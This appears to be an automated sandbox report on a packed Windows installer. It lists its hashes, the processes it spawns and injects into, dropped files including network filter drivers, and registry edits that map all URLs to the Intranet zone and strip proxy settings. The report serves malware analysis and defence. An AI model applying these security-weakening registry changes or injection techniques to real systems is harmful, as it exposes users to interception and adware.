MD5: 979ea3b31d83b29ec4e00226b2b06bfd
SHA1: 6212eaf499ab7dc4101513ec35f69f5d9b108a9e
SHA256: b2d70dfac2e1c35d8ad339fcce97d6e39f466b016817fa21f20f8b4ba50f2e80
SSDeep: 1536:YoLDYsacy7mHMowHjXJJ5EjEGg3HeAriYA:YoPyys5jXJJ5EjHg3eAPA
Size: 50840 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-12-06 00:50:35
Analyzed on: WindowsXP SP3 32-bit

Summary:

Installer. An installation package.

Payload

No specific payload has been found.

Process activity

The Installer creates the following process(es):

aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe:220
aUAekFiG9xfybmhwsn4W6nWSok_cr.exe:816
taskkill.exe:516
net1.exe:2192
net1.exe:2356
%original file name%.exe:1676
nfregdrv.exe:188
net.exe:2176
net.exe:2348
desprotetor_stp_2.exe:3588
aUAekFiG9xfybmhwsn4W6nWSok_sol.exe:1056
aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe:228
WNet.exe:2096
CashReminder.exe:2300

The Installer injects its code into the following process(es):

aUAekFiG9xfybmhwsn4W6nWSok_is.exe:792
dlmgn.exe:380
WNet.exe:2216
CashReminder.exe:2364

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process aUAekFiG9xfybmhwsn4W6nWSok_is.exe:792 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\in5408A573\671D332B_stp.EXE.part (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg-corner.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\EN.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Pause_Button.png (577 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\in5408A573\671D332B_stp.EXE (5220 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Button.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\sponsored.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\main.css (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\csshover3.htc (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\IT.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\ProgressBar.png (812 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Resume_Button.png (718 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg2.png (978 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\000CC4AD.log (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\progress-bar.css (506 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Quick_Specs.png (221 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Loader.gif (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\button-bg.png (131 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\browse.css (337 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\checkbox.css (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Icon_Generic.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\ES.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\BG.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\PT.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Progress.png (104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Button_Hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Close.png (207 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\FR.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\form.bmp.Mask (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\DE.locale (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\bootstrap_49030.html (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\button.css (417 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\000CC3D2.log (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ironsrc_prot[1].png (556 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Close_Hover.png (207 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\ie6_main.css (1 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\000CC3D2.log (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\bootstrap_49030.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\000CC4AD.log (0 bytes)

The process aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe:220 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\mobi[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\f[2].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\s9[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\mobi2[2].js (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\mobi2[1].js (3222 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\top-line[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\f[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\carregando[1].gif (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\verificar_ip[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\icone_cadeado[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\010914i[1].htm (787 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\010914i[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\extreme[1].htm (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\verificar_ip[1].php (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp\nsWeb.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\mobi[2].js (9 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\mobi2[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\f[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\mobi[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\s9[1].gif (0 bytes)

The process dlmgn.exe:380 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp\desprotetor_stp_2.exe (32 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\app.min[1].css (1417 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\31294006CE0E30E9018936BD13494DF8 (172 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar14.tmp (2712 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\C8E7EC0C85688F4738F3BE49B104BA67 (172 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab11.tmp (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CabF.tmp (54 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (408 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\8A9510437CB4EEB09F4B3AC2BC980E19 (216 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ender.min[1].js (10222 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\en[1].htm (834 bytes)
%System%\wbem\Logs\wbemprox.log (150 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\app.min[1].js (21777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\script[1].js (10273 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\applicationIE6-app.min[1].css (457 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\video-icon[1].png (5347 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\8A9510437CB4EEB09F4B3AC2BC980E19 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\iconos-ie6[1].jpg (6 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\C8E7EC0C85688F4738F3BE49B104BA67 (649 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar12.tmp (2712 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box[1].jpg (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar10.tmp (2712 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\31294006CE0E30E9018936BD13494DF8 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab13.tmp (50 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Cab11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CabF.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar14.tmp (0 bytes)

The process aUAekFiG9xfybmhwsn4W6nWSok_cr.exe:816 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Program Files%\CashReminder\ssleay32.dll (12536 bytes)
%Program Files%\CashReminder\nfapi.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SimpleSC.dll (1856 bytes)
%Program Files%\CashReminder\remove.exe (593 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsgB.tmp (81038 bytes)
%Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
%Program Files%\CashReminder\libeay32.dll (41192 bytes)
%System%\drivers\crfilterdrv.sys (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SelfDel.dll (5 bytes)
%Program Files%\CashReminder\CashReminder.exe (15536 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
%Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsgA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\System.dll (0 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (0 bytes)

The process %original file name%.exe:1676 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_cr.exe (67427 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\310714_is[1] (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\solimba[1] (14776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\280815_cr[1] (67427 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\310714_br[1].exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_is.exe (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\310714_mb[1] (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_sol.exe (14776 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\inetc.dll (0 bytes)

The process desprotetor_stp_2.exe:3588 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss16.tmp (4 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss15.tmp (0 bytes)

The process aUAekFiG9xfybmhwsn4W6nWSok_sol.exe:1056 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp\dlmgn.exe.config (291 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp\dlmgn.exe (8776 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsmD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp (0 bytes)

The process aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe:228 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Program Files%\WNet\nfregdrv.exe (1552 bytes)
%Program Files%\WNet\WNet.exe (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SelfDel.dll (5 bytes)
%Program Files%\WNet\uninst.exe (2353 bytes)
%Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
%Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
%System%\drivers\ssfilterdrv.sys (57 bytes)
%Program Files%\WNet\ssleay32.dll (12536 bytes)
%Program Files%\WNet\nfapi.dll (4992 bytes)
%Program Files%\WNet\libeay32.dll (41192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm8.tmp (52768 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\System.dll (11 bytes)

The Installer deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SelfDel.dll (0 bytes)
%Program Files%\WNet\ssfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\System.dll (0 bytes)

The process WNet.exe:2216 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (267 bytes)
%WinDir%\Temp\P_RuleList.txt (267 bytes)

The Installer deletes the following file(s):

%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process CashReminder.exe:2364 makes changes in the file system.
The Installer creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\stores[1].htm (784 bytes)
%WinDir%\Temp\P_StoreList.txt (784 bytes)
%WinDir%\Temp\P_RuleList.txt (314 bytes)

The Installer deletes the following file(s):

%WinDir%\Temp\P_StoreList.txt (0 bytes)
%WinDir%\Temp\P_RuleList.txt (0 bytes)

Registry activity

The process aUAekFiG9xfybmhwsn4W6nWSok_is.exe:792 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "aUAekFiG9xfybmhwsn4W6nWSok_is.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "708992537"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "03 6F 8F C0 A6 03 71 5E 80 68 F4 A2 3C 2B B1 18"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Installer deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe:220 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC BA 21 3F 39 27 69 35 EB B9 E1 46 EC 98 4E B9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Installer deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dlmgn.exe:380 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
